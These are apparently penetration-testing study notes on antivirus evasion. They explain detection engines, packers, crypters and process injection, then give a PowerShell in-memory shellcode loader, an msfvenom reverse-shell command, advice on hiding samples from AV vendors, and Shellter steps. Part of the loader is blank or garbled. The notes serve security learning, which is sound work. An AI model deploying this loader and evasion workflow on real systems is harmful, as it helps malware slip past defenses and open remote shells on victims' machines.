Antivirus Evasion

Introduction

  • Antivirus (AV), is a type of application designed to prevent, detect, and remove malicious software.

  • In its original design, an antivirus software bases its operation and decisions on signatures.

  • The goal of a signature is to uniquely identify a specific piece of malware.

  • Signatures can vary in terms of type and characteristics that can span from a very generic file hash summary to a more specific binary sequence match.

  • A signature language is often defined for each AV engine and thus, a signature can represent different aspects of a piece of malware, depending on the AV engine.

  • VirusTotal is a malware search engine that allows users to search known malware or submit new samples and scan them against a number of AV products.

  • As signatures are written based on known threats, AV products could initially only detect and react based on malware that has already been vetted and documented. However, modern AV solutions are shipped with a Machine Learning (ML) engine that is queried whenever an unknown file is discovered on a system. These ML engines can detect unknown threats. Since ML engines operate on the cloud, they require an active connection to the internet, which is often not an option on internal enterprise servers. Moreover, the many engines that constitute an AV should not borrow too many computing resources from the rest of the system as it could impact the system's usability.

  • To overcome these AV limitations, Endpoint Detection and Response (EDR) solutions have evolved during recent years. EDR software is responsible for generating security-event telemetry and forwarding it to a Security Information and Event Management (SIEM) system, which collects data from every company host. These events are then rendered by the SIEM so that the security analyst team can gain a full overview of any past or ongoing attack affecting the organization.

Modern Antivirus Components

  • File Engine: Responsible for both scheduled and real-time file scans.

  • Memory Engine: Inspects each process's memory space at runtime for well-known binary signatures or suspicious API calls that might result in memory injection attacks.

  • Network Engine: Inspects the incoming and outgoing network traffic on the local network interface.

  • Disassembler: Responsible for translating machine code into assembly language, reconstructing the original program code section, and identifying any encoding/decoding routine.

  • Emulator/Sandbox: A special isolated environment in the AV software where malware can be safely loaded and executed without causing potential havoc to the system.

  • Browser Plugin: As browsers are protected by the sandbox, modern AVs often employ browser plugins to get better visibility and detect malicious content that might be executed inside the browser.

  • Machine Learning Engine: Enables detection of unknown threats by relying on cloud-enhanced computing resources and algorithms.

Antivirus Detection Methodologies

  • Signature-based Detection:

    • Considered a restricted list technology. In other words, the filesystem is scanned for known malware signatures and if any are detected, the offending files are quarantined.

    • A signature can be just as simple as the hash of the file itself or a set of multiple patterns, such as specific binary values and strings that should belong only to that specific malware.

    • Relying on just the file hash as the only detection mechanism is a weak strategy because changing a single bit from the file would result in a completely different hash.

  • Heuristic-based Detection:

    • Detection method that relies on various rules and algorithms to determine whether or not an action is considered malicious.

    • This is often achieved by stepping through the instruction set of a binary file or by attempting to disassemble the machine code and ultimately decompile and analyze the source code to obtain a more comprehensive map of the program.

    • The idea is to search for various patterns and program calls (as opposed to simple byte sequences) that are considered malicious.

  • Behavioural Detection:

    • Dynamically analyzes the behaviour of a binary file. This is often achieved by executing the file in question in an emulated environment, such as a small virtual machine, and searching for behaviours or actions that are considered malicious.

  • Machine Learning Detection:

    • Introducing ML algorithms to detect unknown threats by collecting and analyzing additional metadata.

  • Since these techniques do not require malware signatures, they can be used to identify unknown malware, or variations of known malware, more effectively.

  • Given that antivirus manufacturers use different implementations when it comes to heuristics, behaviour, and machine learning detection, each antivirus product will differ in terms of what code is considered malicious.

Bypassing Antivirus Detection

  • Generally speaking, antivirus evasion falls into two broad categories: on-disk and in-memory:

    • on-disk: On-disk evasion focuses on modifying malicious files physically stored on disk in an attempt to evade AV file engine detections.

    • in-memory: Avoids the disk entirely and therefore, reduces the possibility of being detected.

    • Given the maturity of modern AV file scanning engines, modern malware often attempts in-memory operation.

On-Disk Antivirus Bypassing:

  • One of the earliest ways of avoiding detection involved the use of packers.

    • Packers were originally designed to reduce the size of an executable. Unlike modern "zip" compression techniques, packers generate an executable that is not only smaller, but is also functionally equivalent with a completely new binary structure.

    • Even though some modern malware uses a variation of this technique, the use of UPX and other popular packers alone is not sufficient to evade modern AV scanners.

  • Obfuscators reorganize and mutate code in a way that makes it more difficult to reverse-engineer.

    • This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or dead code, splitting or reordering functions, and so on.

    • Although primarily used by software developers to protect their intellectual property, this technique is also marginally effective against signature-based AV detection.

  • Crypter software cryptographically alters executable code, adding a decryption stub that restores the original code upon execution. This decryption happens in-memory, leaving only the encrypted code on-disk. Encryption has become foundational in modern malware as one of the most effective AV evasion techniques.

  • Highly effective antivirus evasion requires a combination of all of the previous techniques in addition to other advanced ones, including anti-reversing, anti-debugging, virtual machine emulation detection, and so on.

  • In most cases, software protectors were designed for legitimate purposes, like anti-copy, but can also be used to bypass AV detection.

Bypassing through In-Memory:

  • In-Memory Injections, also known as PE Injection, is a popular technique used to bypass antivirus products on Windows machines.

  • Rather than obfuscating a malicious binary, creating new sections, or changing existing permissions, this technique instead focuses on the manipulation of volatile memory.

  • There are 3 techniques:

    • Remote Process Memory Injection:

      • Attempts to inject the payload into another valid PE that is not malicious.

      • The most common method of doing this is by leveraging a set of Windows APIs.

      • First, we would use the OpenProcess function to obtain a valid HANDLE to a target process that we have permission to access.

      • After obtaining the HANDLE, we would allocate memory in the context of that process by calling a Windows API such as VirtualAllocEx.

      • Once the memory has been allocated in the remote process, we would copy the malicious payload to the newly allocated memory using WriteProcessMemory.

      • After the payload has been successfully copied, it is usually executed in memory in a separate thread using the CreateRemoteThread API.

    • Reflective DLL Injection:

      • Reflective DLL Injection technique attempts to load a DLL stored by the attacker in the process memory.

      • The main challenge of implementing this technique is that LoadLibrary does not support loading a DLL from memory. Furthermore, the Windows operating system does not expose any APIs that can handle this either.

      • Attackers who choose to use this technique must write their own version of the API that does not rely on a disk-based DLL.

    • Process Hollowing:

      • Attackers first launch a non-malicious process in a suspended state.

      • Once launched, the image of the process is removed from memory and replaced with a malicious executable image.

      • Finally, the process is then resumed and malicious code is executed instead of the legitimate process.

      • Hooking is a technique often employed by rootkits, a more stealthy kind of malware.

Antivirus Evasion Practical

  • First we have to set our testing environment:

    • Our payload should be uplodated to websites like VirusTotal, as shortly after we have submitted our sample, VirusTotal sends our sample to every antivirus vendor that has an active membership. This means that shortly after we have submitted our sample, most of the AV vendors will be able run it inside their custom sandbox and machine learning engines to build specific detection signatures, thus rendering our offensive tooling unusable.

    • As an alternative to VirusTotal, we should resort to AntiScan.Me. This service scans our sample against 30 different AV engines and claims to not divulge any submitted sample to third-parties. The service offers up to four scans a day and additional ones at a small fee after the daily limit has been reached.

    • Relying on tools such as AntiScan.Me is considered a last resort when we don't know the specifics of our target's AV vendor. If we do know those specifics on the other hand, we should build a dedicated VM that resembles the customer environment as closely as possible.

    • Regardless of the tested AV product, we should always make sure to disable sample submission so that we don't incur the same drawback as VirusTotal.

    • Since both Windows Defender cloud protection and automatic sample submission require internet connectivity, we should first verify that this is reflected in our target environment: some company policies mandate limited internet access to some production servers and as a consequence, some advanced AV features are inhibited.

  • Finding a universal solution to bypass all antivirus products is difficult and time consuming, if not impossible. Considering time limitations during a typical penetration test, it is far more efficient to target the specific antivirus product deployed in the target network.

Manual Way Example

  • Below is an example of an in-memory payload injection script for PowerShell.

$code = ' [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = ;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(IntPtr, $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
  • The script starts by importing VirtualAlloc and CreateThread from kernel32.dll as well as memset from msvcrt.dll. These functions will allow us to allocate memory, create an execution thread, and write arbitrary data to the allocated memory, respectively.

  • Once again, notice that we are allocating the memory and executing a new thread in the current process (powershell.exe), rather than a remote one.

  • The script main logic starts by allocating a block of memory using VirtualAlloc, which takes each byte of the payload stored in the $sc byte array and writes it to our newly-allocated memory block using memset.

  • As a final step, our in-memory written payload is executed in a separate thread using the CreateThread API.

  • Using msfvenom we can create the code of our shell and add it into our payload, msfvenom -p windows/shell_reverse_tcp LHOST=<IP Address> LPORT=<Port Number> -f powershell -v sc

  • When trying to scan this payload it's still being caught by the antivirus. However, if we change the variable names, we can bypass some of the antiviruses.

  • Still not the most efficient way, I tried it and changed all the variables, in the first round 21 Antivirus caught the virus, in the second round after changing the variable names, 16 Antivirus caught the virus.

Automated Way Example

  • Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

  • Should run on Windows but can be used in kali-linux using Wine.

  • sudo apt install shellter sudo apt install wine dpkg --add-architecture i386 && apt-get update && apt-get install wine32 shelter

  • choose mode

  • Provide the PE to inject the payload in.

  • Choose payload and settings.

  • Then you are ready to go.

  • When I tested it, it was caught more than the manual method :(

Last updated